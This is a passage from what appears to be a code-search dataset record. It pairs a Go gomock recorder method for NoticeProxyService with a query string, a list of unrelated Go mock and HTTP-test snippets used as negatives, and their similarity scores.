IsNil)\n\tc.Assert(pools, Not(IsNil))\n\tc.Assert(len(pools), Equals, 1)\n\n\tp = pools[0]\n\tc.Assert(p.ID, Equals, pc.resourcePool.ID)\n\tc.Assert(p.MemoryCommitment, Equals, uint64(4000))\n}", "func (m *MockProvider) OnEndpointsSynced() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"OnEndpointsSynced\")\n}", "func (m *MockRemotePeer) PushTxsNotice(txHashes []types.TxID) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"PushTxsNotice\", txHashes)\n}", "func (m *MockLikeCheckerClient) LikePhoto(arg0 context.Context, arg1 *delivery.Like, arg2 ...grpc.CallOption) (*delivery.Dummy, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"LikePhoto\", varargs...)\n\tret0, _ := ret[0].(*delivery.Dummy)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestProxyHandler(t *testing.T) {\n\tproxyRoute := &ProxyRoute{\n\t\tPrefix: \"/prefix\", RedirectURL: \"http://redirect\",\n\t}\n\thandler := ProxyHandler(proxyRoute.Prefix, proxyRoute.RedirectURL)\n\tswitch v := handler.(type) {\n\tcase http.HandlerFunc:\n\t\tlog.Println(\"ProxyHandler is an http.HandlerFunc\")\n\tdefault:\n\t\tmsg := fmt.Sprintf(\"%v is not http.HandlerFunc\", v)\n\t\tassert.Fail(t, msg)\n\t}\n\n\tsavedClient := proxyClient\n\tsavedIoCopy := ioCopy\n\tdefer func() {\n\t\t// restoring ioCopy and proxyClient (see definition in proxy.go)\n\t\tioCopy = savedIoCopy\n\t\tproxyClient = savedClient\n\t}()\n\n\ttests := []struct {\n\t\trequestURL string\n\t\texpectedCode int\n\t\tioCopyMock func(dst io.Writer, src io.Reader) (int64, error)\n\t\tclientMock *MockProxyClient\n\t}{\n\t\t{\"\", http.StatusBadRequest, nil, nil},\n\t\t{\"http://test1/foo\", http.StatusBadGateway, ioCopyOkayFunc, clientResponseErr},\n\t\t{\"http://test2/foo\", http.StatusOK, ioCopyErrorFunc, clientResponse200},\n\t\t{\"http://test3/foo\", http.StatusNotFound, ioCopyOkayFunc, clientResponse404},\n\t\t{\"http://test4/foo\", http.StatusOK, ioCopyOkayFunc, clientResponse200},\n\t}\n\n\tfor idx, test := range tests {\n\t\tproxyClient = test.clientMock\n\t\tioCopy = test.ioCopyMock\n\t\treq, _ := http.NewRequest(\"GET\", test.requestURL, nil)\n\t\trwr := httptest.NewRecorder()\n\n\t\tlog.Printf(\"Test %2d: %s\\n\", idx, test.requestURL)\n\t\tproxyRoute.ServeHTTP(rwr, req)\n\t\thandler.ServeHTTP(rwr, req)\n\n\t\t// log.Printf(\"Test %2d - request: %s - %#v\\n\", idx, req.URL, req)\n\t\t// log.Printf(\"Test %2d - response: %#v\\n\", idx, rwr)\n\t\tassert.Equal(t, test.expectedCode, rwr.Code)\n\t}\n}", "func (m *MockClusterServer) ServiceIn(arg0 context.Context, arg1 *ServiceInRequest) (*Operation, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ServiceIn\", arg0, arg1)\n\tret0, _ := ret[0].(*Operation)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockHostNode) Notify(notifee network.Notifiee) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Notify\", notifee)\n}", "func (m *MockClientStreamConnection) Dispatch(buffer buffer.IoBuffer) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Dispatch\", buffer)\n}", "func (m *MockEmployeeUseCase) CreateNotice(c context.Context, companyId, employeeNo string, noticeType enum.NoticeType, visibility enum.NoticeVisibility, periodStart, periodEnd time.Time) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateNotice\", c, companyId, employeeNo, noticeType, visibility, periodStart, periodEnd)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockLogger) Infoln(args ...interface{}) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{}\n\tfor _, a := range args {\n\t\tvarargs = append(varargs, a)\n\t}\n\tm.ctrl.Call(m, \"Infoln\", varargs...)\n}", "func (m *MockServerStreamConnection) Dispatch(buffer buffer.IoBuffer) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Dispatch\", buffer)\n}", "func (m *MockHTTP) Update(w http.ResponseWriter, r *http.Request) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Update\", w, r)\n}", "func NewMockService(transport *http.Transport, aurl string, rurl string, surl string) Service {\n\n\treturn Service{\n\t\tclient: &http.Client{\n\t\t\tTransport: transport,\n\t\t},\n\t\tauthURL: aurl,\n\t\tregistryURL: rurl,\n\t\tserviceURL: surl,\n\t}\n}", "func (m *MockKubeCoreCache) ServiceLister() v1.ServiceLister {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ServiceLister\")\n\tret0, _ := ret[0].(v1.ServiceLister)\n\treturn ret0\n}", "func (m *MockRoutingRuleClient) BaseClient() clients.ResourceClient {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BaseClient\")\n\tret0, _ := ret[0].(clients.ResourceClient)\n\treturn ret0\n}", "func (m *MockProvider) OnEndpointsUpdate(arg0, arg1 *v1.Endpoints) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"OnEndpointsUpdate\", arg0, arg1)\n}", "func (m *MockEmployeeUseCase) GetNotice(c context.Context) ([]*model.Notice, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetNotice\", c)\n\tret0, _ := ret[0].([]*model.Notice)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestDelegatorProxyValidatorShares7Steps(t *testing.T) {\n\n}", "func TestNoticesEndpoint(t *testing.T) {\n\t// Initialize the database connection\n\tmodels.InitDB()\n\n\t// Make the request\n\trequest, _ := http.NewRequest(\"GET\", \"/notices\", nil)\n\tresponse := httptest.NewRecorder()\n\tRouterNotice().ServeHTTP(response, request)\n\n\tvar resp map[string]interface{}\n\tjson.NewDecoder(response.Body).Decode(&resp)\n\n\t// Check if what we wanted is what we got\n\tassert.Equal(t, float64(http.StatusOK), resp[\"status_code\"], \"OK response is expected\")\n}", "func (m *MockRepositoryService) Search(arg0 http.ResponseWriter, arg1 *http.Request) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Search\", arg0, arg1)\n}", "func (m *MockProxyClient) ProxyEnable(ctx context.Context, in *ProxyRequestMsg, opts ...grpc.CallOption) (*ProxyResponseMsg, error) {\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ProxyEnable\", varargs...)\n\tret0, _ := ret[0].(*ProxyResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockClusterClient) ServiceIn(ctx context.Context, in *ServiceInRequest, opts ...grpc.CallOption) (*Operation, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ServiceIn\", varargs...)\n\tret0, _ := ret[0].(*Operation)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestServiceWithoutLogger(t *testing.T) {\n\ts := res.NewService(\"test\")\n\ts.SetLogger(nil)\n\ts.Handle(\"model\", res.GetResource(func(r res.GetRequest) { r.NotFound() }))\n\tsession := restest.NewSession(t, s, restest.WithKeepLogger)\n\tdefer session.Close()\n}", "func (m *MockNotificationService) Notify(ctx context.Context, notificationTarget domain.NotificationTarget, questionnaire domain.Questionnaire) domain.Error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Notify\", ctx, notificationTarget, questionnaire)\n\tret0, _ := ret[0].(domain.Error)\n\treturn ret0\n}", "func (m *MockEnvironment) Services() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Services\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func mockHTTPClient(httpResponse *http.Response, errorThrown bool) {\n\trestclient.Client = &mocks.MockClient{\n\t\tDoFunc: func(req *http.Request) (*http.Response, error) {\n\t\t\tif errorThrown {\n\t\t\t\treturn httpResponse, errors.New(\"Something bad happended\")\n\t\t\t}\n\t\t\treturn httpResponse, nil\n\t\t},\n\t}\n}", "func (m *MockMessageService) Sub(ctx context.Context, in *proto.SubRequest, opts ...client.CallOption) (*proto.Response, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Sub\", varargs...)\n\tret0, _ := ret[0].(*proto.Response)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockUnsafeDocumentAnnotatorServer) mustEmbedUnimplementedDocumentAnnotatorServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedDocumentAnnotatorServer\")\n}", "func TestSomethingElse(t *testing.T) {\n\tmock.AddResponse(&mock.Client, \"GET\", \"/job/mycustomjobpath/api/json\", mock.Response{\n\t\tStatusCode: 200,\n\t\tBytes: nil,\n\t})\n\n\t// now do something with mock.Client\n}", "func TestCallToPublicService(t *testing.T) {\n\tt.Parallel()\n\n\tclients := Setup(t)\n\n\tt.Log(\"Creating a Service for the helloworld test app.\")\n\tnames := test.ResourceNames{\n\t\tService: test.ObjectNameForTest(t),\n\t\tImage: test.HelloWorld,\n\t}\n\n\ttest.EnsureTearDown(t, clients, &names)\n\n\tresources, err := v1test.CreateServiceReady(t, clients, &names)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create initial Service: %v: %v\", names.Service, err)\n\t}\n\n\tif resources.Route.Status.URL.Host == \"\" {\n\t\tt.Fatalf(\"Route is missing .Status.URL: %#v\", resources.Route.Status)\n\t}\n\tif resources.Route.Status.Address == nil {\n\t\tt.Fatalf(\"Route is missing .Status.Address: %#v\", resources.Route.Status)\n\t}\n\n\tgatewayTestCases := []struct {\n\t\tname string\n\t\turl *url.URL\n\t\taccessibleExternally bool\n\t}{\n\t\t{\"local_address\", resources.Route.Status.Address.URL.URL(), false},\n\t\t{\"external_address\", resources.Route.Status.URL.URL(), true},\n\t}\n\n\tfor _, tc := range gatewayTestCases {\n\t\ttc := tc\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tt.Parallel()\n\t\t\tif !test.ServingFlags.DisableLogStream {\n\t\t\t\tcancel := logstream.Start(t)\n\t\t\t\tdefer cancel()\n\t\t\t}\n\t\t\ttestProxyToHelloworld(t, clients, tc.url, false /*inject*/, tc.accessibleExternally)\n\t\t})\n\t}\n}", "func newMockClient(doer func(*http.Request) (*http.Response, error)) *http.Client {\n\tv := &http.Transport{\n\t\tProxy: http.ProxyFromEnvironment,\n\t\tDialContext: (&net.Dialer{\n\t\t\tTimeout: 30 * time.Second,\n\t\t\tKeepAlive: 30 * time.Second,\n\t\t\tDualStack: true,\n\t\t}).DialContext,\n\t\tMaxIdleConns: 100,\n\t\tIdleConnTimeout: 90 * time.Second,\n\t\tTLSHandshakeTimeout: 10 * time.Second,\n\t\tExpectContinueTimeout: 1 * time.Second,\n\t}\n\tv.RegisterProtocol(\"http\", transportFunc(doer))\n\treturn &http.Client{\n\t\tTransport: http.RoundTripper(v),\n\t}\n}", "func (m *MockInterface) Info(arg0 ...interface{}) {\n\tvarargs := []interface{}{}\n\tfor _, a := range arg0 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tm.ctrl.Call(m, \"Info\", varargs...)\n}", "func Test_Proxy(t *testing.T) {\n\ttarget := fiber.New()\n\ttarget.Get(\"/\", func(c *fiber.Ctx) error {\n\t\treturn c.SendStatus(fiber.StatusTeapot)\n\t})\n\tgo func() {\n\t\tutils.AssertEqual(t, nil, target.Listen(\":3001\"))\n\t}()\n\n\ttime.Sleep(2 * time.Second)\n\n\tresp, err := target.Test(httptest.NewRequest(\"GET\", \"/\", nil), 2000)\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, fiber.StatusTeapot, resp.StatusCode)\n\n\tapp := fiber.New()\n\n\tapp.Use(Balancer(Config{Servers: []string{\"127.0.0.1:3001\"}}))\n\n\treq := httptest.NewRequest(\"GET\", \"/\", nil)\n\treq.Host = \"127.0.0.1:3001\"\n\tresp, err = app.Test(req)\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, fiber.StatusTeapot, resp.StatusCode)\n}", "func (m *MockClientInterface) UpdateService(modified *v10.Service) (*v10.Service, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateService\", modified)\n\tret0, _ := ret[0].(*v10.Service)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (lc mockNotifyLogger) Trace(msg string, args ...interface{}) {\n}", "func intercept(p *supervisor.Process, tele *Teleproxy) error {\n\tif os.Geteuid() != 0 {\n\t\treturn errors.New(\"ERROR: teleproxy must be run as root or suid root\")\n\t}\n\n\tsup := p.Supervisor()\n\n\tif tele.DNSIP == \"\" {\n\t\tdat, err := ioutil.ReadFile(\"/etc/resolv.conf\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfor _, line := range strings.Split(string(dat), \"\\n\") {\n\t\t\tif strings.HasPrefix(strings.TrimSpace(line), \"nameserver\") {\n\t\t\t\tfields := strings.Fields(line)\n\t\t\t\ttele.DNSIP = fields[1]\n\t\t\t\tlog.Printf(\"TPY: Automatically set -dns=%v\", tele.DNSIP)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tif tele.DNSIP == \"\" {\n\t\treturn errors.New(\"couldn't determine dns ip from /etc/resolv.conf\")\n\t}\n\n\tif tele.FallbackIP == \"\" {\n\t\tif tele.DNSIP == \"8.8.8.8\" {\n\t\t\ttele.FallbackIP = \"8.8.4.4\"\n\t\t} else {\n\t\t\ttele.FallbackIP = \"8.8.8.8\"\n\t\t}\n\t\tlog.Printf(\"TPY: Automatically set -fallback=%v\", tele.FallbackIP)\n\t}\n\tif tele.FallbackIP == tele.DNSIP {\n\t\treturn errors.New(\"if your fallbackIP and your dnsIP are the same, you will have a dns loop\")\n\t}\n\n\ticeptor := interceptor.NewInterceptor(\"teleproxy\")\n\tapis, err := api.NewAPIServer(iceptor)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"API Server\")\n\t}\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: TranslatorWorker,\n\t\t// XXX: Requires will need to include the api server once it is changed to not bind early\n\t\tRequires: []string{ProxyWorker, DNSServerWorker},\n\t\tWork: iceptor.Work,\n\t})\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: APIWorker,\n\t\tRequires: []string{},\n\t\tWork: func(p *supervisor.Process) error {\n\t\t\tapis.Start()\n\t\t\tp.Ready()\n\t\t\t<-p.Shutdown()\n\t\t\tapis.Stop()\n\t\t\treturn nil\n\t\t},\n\t})\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: DNSServerWorker,\n\t\tRequires: []string{},\n\t\tWork: func(p *supervisor.Process) error {\n\t\t\tsrv := dns.Server{\n\t\t\t\tListeners: dnsListeners(p, DNSRedirPort),\n\t\t\t\tFallback: tele.FallbackIP + \":53\",\n\t\t\t\tResolve: func(domain string) string {\n\t\t\t\t\troute := iceptor.Resolve(domain)\n\t\t\t\t\tif route != nil {\n\t\t\t\t\t\treturn route.Ip\n\t\t\t\t\t}\n\t\t\t\t\treturn \"\"\n\t\t\t\t},\n\t\t\t}\n\t\t\terr := srv.Start(p)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tp.Ready()\n\t\t\t<-p.Shutdown()\n\t\t\t// there is no srv.Stop()\n\t\t\treturn nil\n\t\t},\n\t})\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: ProxyWorker,\n\t\tRequires: []string{},\n\t\tWork: func(p *supervisor.Process) error {\n\t\t\t// hmm, we may not actually need to get the original\n\t\t\t// destination, we could just forward each ip to a unique port\n\t\t\t// and either listen on that port or run port-forward\n\t\t\tproxy, err := proxy.NewProxy(fmt.Sprintf(\":%s\", ProxyRedirPort), iceptor.Destination)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"Proxy\")\n\t\t\t}\n\n\t\t\tproxy.Start(10000)\n\t\t\tp.Ready()\n\t\t\t<-p.Shutdown()\n\t\t\t// there is no proxy.Stop()\n\t\t\treturn nil\n\t\t},\n\t})\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: DNSConfigWorker,\n\t\tRequires: []string{TranslatorWorker},\n\t\tWork: func(p *supervisor.Process) error {\n\t\t\tbootstrap := route.Table{Name: \"bootstrap\"}\n\t\t\tbootstrap.Add(route.Route{\n\t\t\t\tIp: tele.DNSIP,\n\t\t\t\tTarget: DNSRedirPort,\n\t\t\t\tProto: \"udp\",\n\t\t\t})\n\t\t\tbootstrap.Add(route.Route{\n\t\t\t\tName: \"teleproxy\",\n\t\t\t\tIp: MagicIP,\n\t\t\t\tTarget: apis.Port(),\n\t\t\t\tProto: \"tcp\",\n\t\t\t})\n\t\t\ticeptor.Update(bootstrap)\n\n\t\t\tvar restore func()\n\t\t\tif !tele.NoSearch {\n\t\t\t\trestore = dns.OverrideSearchDomains(p, \".\")\n\t\t\t}\n\n\t\t\tp.Ready()\n\t\t\t<-p.Shutdown()\n\n\t\t\tif !tele.NoSearch {\n\t\t\t\trestore()\n\t\t\t}\n\n\t\t\tdns.Flush()\n\t\t\treturn nil\n\t\t},\n\t})\n\n\treturn nil\n}", "func (m *MockProxy) Listen() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Listen\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockMessageHandler) PreHandle() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"PreHandle\")\n}", "func (m *MockCallback) OnPublish(arg0 *pubdata.Paragraph) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"OnPublish\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockProvider) ServiceEndpoint() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ServiceEndpoint\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockConnectorInfo) InboxPrefix() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"InboxPrefix\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func mockNoopStore(id string, key string, value interface{}) {}", "func (m *MockNotifier) Notify(arg0 context.Context, arg1 uint64, arg2 tasks.Event) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Notify\", arg0, arg1, arg2)\n}", "func (m *MockClusterServer) ServiceOut(arg0 context.Context, arg1 *ServiceOutRequest) (*Operation, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ServiceOut\", arg0, arg1)\n\tret0, _ := ret[0].(*Operation)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockServiceClient) UpdateService(modified *v10.Service) (*v10.Service, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateService\", modified)\n\tret0, _ := ret[0].(*v10.Service)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func mockTest0104(w http.ResponseWriter, r *http.Request) {\n\twait, err := common.GetIntArgFromQuery(r, \"wait\")\n\tif err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t\treturn\n\t}\n\tunit, err := common.GetStringArgFromQuery(r, \"unit\")\n\tif err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t\treturn\n\t}\n\n\tretIP := `\"42.48.232.7\", \"10.200.20.21\"`\n\tretJSON := fmt.Sprintf(`{\"errno\":0, \"iplist\":[%s]}`, retIP)\n\t// retContent := `{\"errno\":-1, \"iplist\":[]}`\n\tw.Header().Set(common.TextContentLength, strconv.Itoa(len(retJSON)))\n\tw.Header().Set(common.TextContentType, common.ContentTypeJSON)\n\tw.WriteHeader(http.StatusOK)\n\n\tif wait > 0 {\n\t\tif unit == \"milli\" {\n\t\t\ttime.Sleep(time.Duration(wait) * time.Millisecond)\n\t\t} else {\n\t\t\ttime.Sleep(time.Duration(wait) * time.Second)\n\t\t}\n\t}\n\tif _, err := io.Copy(w, bufio.NewReader(strings.NewReader(retJSON))); err != nil {\n\t\tcommon.ErrHandler(w, err)\n\t}\n}", "func (suite *InjectorSuite) TestDefaultHttpClient() {\n\tsuite.NotNil(suite.httpClient)\n}", "func (m *MockClusterClient) ServiceOut(ctx context.Context, in *ServiceOutRequest, opts ...grpc.CallOption) (*Operation, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ServiceOut\", varargs...)\n\tret0, _ := ret[0].(*Operation)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockMessages) Info(ctx context.Context, format string, args ...interface{}) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{ctx, format}\n\tfor _, a := range args {\n\t\tvarargs = append(varargs, a)\n\t}\n\tm.ctrl.Call(m, \"Info\", varargs...)\n}", "func (m *MockStreamConnection) Dispatch(buffer buffer.IoBuffer) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Dispatch\", buffer)\n}", "func (m *MockManagedClusterScope) Info(msg string, keysAndValues ...interface{}) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{msg}\n\tfor _, a := range keysAndValues {\n\t\tvarargs = append(varargs, a)\n\t}\n\tm.ctrl.Call(m, \"Info\", varargs...)\n}", "func (m *MockUnsafeDataServiceServer) mustEmbedUnimplementedDataServiceServer() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"mustEmbedUnimplementedDataServiceServer\")\n}", "func (m *MockWebsocketClientStore) Set(client wspubsub.WebsocketClient) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Set\", client)\n}", "func (m *MockMessageHandler) Sub(arg0 context.Context, arg1 *proto.SubRequest, arg2 *proto.Response) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Sub\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func setupFakeClient(url string) *Client {\n\treturn &Client{\n\t\tServiceEndpoint: ServiceEndpoint{\n\t\t\tRequestURL: url,\n\t\t\tDocsURL: \"some-docs-url\",\n\t\t},\n\t}\n}", "func (m *MockInterface) Infoln(arg0 ...interface{}) {\n\tvarargs := []interface{}{}\n\tfor _, a := range arg0 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tm.ctrl.Call(m, \"Infoln\", varargs...)\n}", "func (m *MockCallback) OnPublishTemporary(arg0 *pubdata.Paragraph) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"OnPublishTemporary\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func userInfoTestClient(t *testing.T, fn func(t *testing.T, w http.ResponseWriter, r *http.Request)) (*Client, func()) {\n\treturn testClient(t, func(t *testing.T, w http.ResponseWriter, r *http.Request) {\n\t\t// Always GET request\n\t\tmethod := \"GET\"\n\t\tif m := r.Method; m != method {\n\t\t\tt.Fatalf(\"unexpected HTTP method: %q != %q\", m, method)\n\t\t}\n\n\t\t// Always uses specific path prefix\n\t\tprefix := \"/v4/user/info/\"\n\t\tif p := r.URL.Path; !strings.HasPrefix(p, prefix) {\n\t\t\tt.Fatalf(\"unexpected HTTP path prefix: %q != %q\", p, prefix)\n\t\t}\n\n\t\t// Guard against panics\n\t\tif fn != nil {\n\t\t\tfn(t, w, r)\n\t\t}\n\t})\n}", "func (m *MockProc) OnSvcConfigUpdate(arg0 *service.Config) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"OnSvcConfigUpdate\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockWebhookResourceClient) GetSuperglooNamespace() (string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetSuperglooNamespace\")\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockProxyServer) ProxyEnable(arg0 context.Context, arg1 *ProxyRequestMsg) (*ProxyResponseMsg, error) {\n\tret := m.ctrl.Call(m, \"ProxyEnable\", arg0, arg1)\n\tret0, _ := ret[0].(*ProxyResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func newPrimary() *proxy {\n\tvar (\n\t\tp = &proxy{}\n\t\ttracker = mock.NewStatsTracker()\n\t\tsmap = newSmap()\n\t)\n\n\tp.owner.smap = newSmapOwner(cmn.GCO.Get())\n\tp.si = meta.NewSnode(\"primary\", apc.Proxy, meta.NetInfo{}, meta.NetInfo{}, meta.NetInfo{})\n\n\tsmap.addProxy(p.si)\n\tsmap.Primary = p.si\n\tp.owner.smap.put(smap)\n\n\tconfig := cmn.GCO.BeginUpdate()\n\tconfig.ConfigDir = \"/tmp/ais-tests\"\n\tconfig.Periodic.RetrySyncTime = cos.Duration(time.Millisecond * 100)\n\tconfig.Keepalive.Proxy.Name = \"heartbeat\"\n\tconfig.Keepalive.Proxy.Interval = cos.Duration(3 * time.Second)\n\tconfig.Timeout.CplaneOperation = cos.Duration(2 * time.Second)\n\tconfig.Timeout.MaxKeepalive = cos.Duration(4 * time.Second)\n\tconfig.Client.Timeout = cos.Duration(10 * time.Second)\n\tconfig.Client.TimeoutLong = cos.Duration(10 * time.Second)\n\tconfig.Cksum.Type = cos.ChecksumXXHash\n\tcmn.GCO.CommitUpdate(config)\n\tcmn.GCO.SetInitialGconfPath(\"/tmp/ais-tests/ais.config\")\n\n\tp.client.data = &http.Client{}\n\tp.client.control = &http.Client{}\n\tp.keepalive = newPalive(p, tracker, atomic.NewBool(true))\n\n\to := newBMDOwnerPrx(config)\n\to.put(newBucketMD())\n\tp.owner.bmd = o\n\n\te := newEtlMDOwnerPrx(config)\n\te.put(newEtlMD())\n\tp.owner.etl = e\n\n\tp.gmm = memsys.PageMM()\n\treturn p\n}", "func (m *MockLikeCheckerClient) DislikePhoto(arg0 context.Context, arg1 *delivery.Like, arg2 ...grpc.CallOption) (*delivery.Dummy, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"DislikePhoto\", varargs...)\n\tret0, _ := ret[0].(*delivery.Dummy)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockisIpsecSAAction_SaHandle) isIpsecSAAction_SaHandle() {\n\tm.ctrl.Call(m, \"isIpsecSAAction_SaHandle\")\n}", "func TestServices(t *testing.T) { check.TestingT(t) }" ]
[ "0.5629712", "0.5588321", "0.5586352", "0.55019766", "0.5462498", "0.54555804", "0.54450446", "0.5429107", "0.5414166", "0.54112643", "0.5400506", "0.53936917", "0.5359979", "0.5315524", "0.5295166", "0.5261168", "0.52379936", "0.5215781", "0.5197348", "0.519258", "0.51920956", "0.5188901", "0.5187337", "0.5181275", "0.51799536", "0.5166028", "0.5165979", "0.5165306", "0.5157873", "0.5149348", "0.5137422", "0.51288784", "0.5109912", "0.5104144", "0.5103036", "0.5086945", "0.50803906", "0.50673807", "0.5062431", "0.50561273", "0.5055218", "0.50540656", "0.50532687", "0.50403273", "0.5040207", "0.5035786", "0.5034795", "0.5027162", "0.5018677", "0.5017417", "0.50083536", "0.5008317", "0.50036794", "0.5001493", "0.49820656", "0.49809885", "0.49763155", "0.49761966", "0.49714217", "0.4960796", "0.49520883", "0.49449944", "0.49439296", "0.49423903", "0.49418843", "0.49364576", "0.4932903", "0.49306875", "0.49255228", "0.49245268", "0.4913478", "0.4911918", "0.49113306", "0.49067503", "0.49019796", "0.4901719", "0.49010378", "0.4896495", "0.4896471", "0.48963702", "0.48939377", "0.48912594", "0.48874283", "0.48874012", "0.4880931", "0.4874791", "0.4873642", "0.48728287", "0.48698533", "0.48642656", "0.48635367", "0.48618564", "0.48612833", "0.4859447", "0.48581538", "0.48578948", "0.48553172", "0.48481563", "0.48466918", "0.48430702" ]
0.7396901
0
NoticeProxyService indicates an expected call of NoticeProxyService
func (mr *MockmonitorInterfaceMockRecorder) NoticeProxyService(name, endpoint interface{}) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "NoticeProxyService", reflect.TypeOf((*MockmonitorInterface)(nil).NoticeProxyService), name, endpoint) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
